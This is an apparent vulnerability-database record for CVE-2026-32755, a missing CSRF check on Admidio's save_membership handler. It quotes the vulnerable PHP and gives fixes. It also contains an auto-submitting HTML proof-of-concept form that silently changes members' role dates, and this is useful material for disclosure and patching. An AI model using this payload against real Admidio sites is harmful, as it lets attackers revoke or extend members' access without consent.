{"id":"CVE-2026-32755","aliases":["GHSA-h8gr-qwr6-m9gx"],"url":"https://o3.security/vulnerability/CVE-2026-32755","summary":"Admidio is Missing CSRF Protection on Role Membership Date Changes","details":"## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === 'save_membership') {\n    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' => true));\n\n    $member = new Membership($gDb);\n    $member->readDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member->getValue('mem_rol_id'));\n\n    // check if user has the right to edit this membership\n    if (!$role->allowedToAssignMembers($gCurrentUser)) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    // ... validates dates ...\n    $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);\n    echo 'success';\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n<!DOCTYPE html>\n<html>\n<body onload=\"document.getElementById('csrf_form').submit()\">\n  <form id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>\">\n    <input type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\">\n    <input type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\">\n  </form>\n</body>\n</html>\n```\n\nExpected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === 'save_membership') {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n    $formValues = $membershipForm->validate($_POST);\n\n    $postMembershipStart = $formValues['adm_membership_start_date'];\n    $postMembershipEnd   = $formValues['adm_membership_end_date'];\n    // ... rest of save logic unchanged\n}\n```","published":"2026-03-19T22:53:09.081Z","modified":"2026-08-12T03:51:32.646399693Z","cvss":{"score":5.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":"5.0.7"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.7"},{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32755.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32755"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.646399693Z"}}